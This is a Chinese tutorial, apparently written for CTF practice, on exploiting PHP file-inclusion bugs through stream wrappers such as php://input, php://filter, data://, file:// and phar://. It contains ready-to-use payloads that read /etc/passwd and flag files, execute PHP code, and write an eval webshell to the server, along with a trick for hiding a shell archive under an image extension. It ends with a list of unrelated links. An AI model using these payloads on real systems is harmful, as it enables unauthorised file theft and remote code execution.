当前位置: 首页 > backend >正文

PHP伪协议读取文件

借鉴php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客

总结

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用来执行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
php://filter,file://用来读取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

file://协议

file://协议通常用于从本地文件系统读取文件内容

基本原理

  • file://协议:这是用于访问本地文件系统的协议。例如,file:///etc/passwd会尝试访问Linux系统上的/etc/passwd文件。

例如http://example.com/include.php?file=file:///etc/passwd

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:
1.file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名 

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://协议

php://协议是一种非常有用的功能,可以用来读取文件、输入流等。php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符

常见的 php:// 协议

  1. php://input
    • 用于读取原始的POST数据。
    • 在某些情况下,可以用来绕过一些文件上传的限制。
  2. php://filter
    • 用于读取文件内容并进行过滤(如base64编码、解压缩等)。
    • 语法:php://filter/read=filter.name/resource=file
    • 例如:php://filter/read=convert.base64-encode/resource=flag.php 可以将 flag.php 文件的内容以base64编码形式输出。
  3. php://fd(PHP 7.0.0+):
    • 用于直接访问文件描述符。
    • 通常不常用在CTF中,但了解其存在有助于理解PHP的文件操作。
  4. php://memory 和 php://temp
    • 用于在内存或临时文件中读写数据。
    • 这些协议通常用于数据处理或流操作,不常用于直接读取文件。

php://filter使用

php://filter/read=convert.base64-encode/resource=[文件名]

php://filter/resource=[文件名]

php://input的使用

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

执行一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://协议

data://text/plain, ???

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=

zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

phar://协议

  • php解压缩包的一个函数,不管后缀是什么,都当作压缩包来解压。
  • 格式:
?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php
步骤:写一个一句话木马shell.php,然后用zip协议压缩为shell.zip,
再将后缀改为png等其他格式

 

http://www.xdnf.cn/news/659.html

相关文章:

  • Matlab 步进电机传递函数模糊pid
  • langchain-nextjs-template 模板安装与配置
  • 【文献阅读】EndoNet A Deep Architecture for Recognition Tasks on Laparoscopic Videos
  • 【MRAG】使用RAG技术增强AI回复的实时性和准确性
  • Android Kotlin AIDL 完整实现与优化指南
  • Leetcode 3524. Find X Value of Array I
  • 9、Hooks:现代魔法咒语集——React 19 核心Hooks
  • 山东大学软件学院项目实训-基于大模型的模拟面试系统-Token过期重定向问题
  • 代码随想录算法训练营第三十五天|416. 分割等和子集、698.划分为k个相等的子集、473.火柴拼正方形
  • IDEA连接达梦数据库
  • Android学习之实战登录注册能力
  • Django 使用教程
  • 4月19日记(补)算了和周日一块写了 4月20日日记
  • 无法右键下载文档?网页PDF下载方法大全
  • Python赋能去中心化电子商务平台:重构交易生态的新未来
  • 2000-2017年各省天然气消费量数据
  • uni-app中map的使用
  • 52单片机LED实验
  • leetcode205.同构字符串
  • ​opencv图像库编程
  • 股票分析技术指标【MACD】
  • 基于Redis实现RAG架构的技术解析与实践指南
  • [Windows] Adobe Camera Raw 17.2 win/Mac版本
  • Java Streams 使用教程
  • 【Qt】QMainWindow类
  • go环境安装mac
  • QML中的JSON 处理
  • 字节跳动发布视频生成基础大模型 Seaweed-7B
  • 力扣刷题Day 21:两数之和(1)
  • 精打细算 - GPU 监控